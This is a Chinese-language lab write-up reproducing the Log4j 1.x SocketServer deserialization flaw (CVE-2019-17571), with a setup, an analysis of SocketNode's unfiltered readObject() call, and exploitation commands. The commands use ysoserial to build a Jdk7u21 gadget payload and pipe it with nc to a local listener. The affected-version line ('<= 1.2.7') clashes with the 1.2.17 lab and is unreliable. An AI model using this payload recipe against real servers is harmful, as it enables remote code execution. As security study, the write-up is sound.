1、漏洞相关信息
漏洞名称:Apache Log4j反序列化漏洞
漏洞编号:CVE-2019-17571
漏洞描述:
Log4j是Apache开发的一款基于Java的开源日志工具,可以将Web项目中的日志输出到控制台,文件,GUI组件,甚至是套接口服务器。此漏洞是因为Log4j在启动套接字服务器后,对监听端口传入的反序列化数据没有进行过滤,导致可以结合反序列化工具,利用SocketServe类远程执行任意代码。
2、影响版本
Apache Log4j <= 1.2.7
3、环境搭建
本次环境为Log4j1.2.17和JDK1.7
1、新建maven项目,在pom中添加Log4j 1.2.17
2、测试代码
4、漏洞利用
1、使用ysoserial生产反序列化文件
1 | java -jar ysoserial-master-30099844c6-1.jar Jdk7u21 "open /Applications/Calculator.app" > payload2.ser |
2、启动Log4j套接口日志服务器,监听4444端口
3、发送POC
1 | cat payload2.ser | nc 127.0.0.1 4444 |
5、漏洞分析
在SimpleSocketServer主方法处打断点调试,当启动套接字服务器,会监听设置的端口
跟进log4j-1.2.17.jar!org/apache/log4j/net/SimpleSockerServer
继续跟进,当我们接收到的socket数据传入进行处理会调用SocketNode类
跟进log4j-1.2.17.jar!org/apache/log4j/net/SocketNode
,可以看到在SocketNode方法中创建了一个ObjectInputStream对象直接获取socket输入流进行序列化,最后在run方法中直接调用readObject()进行反序列化操作。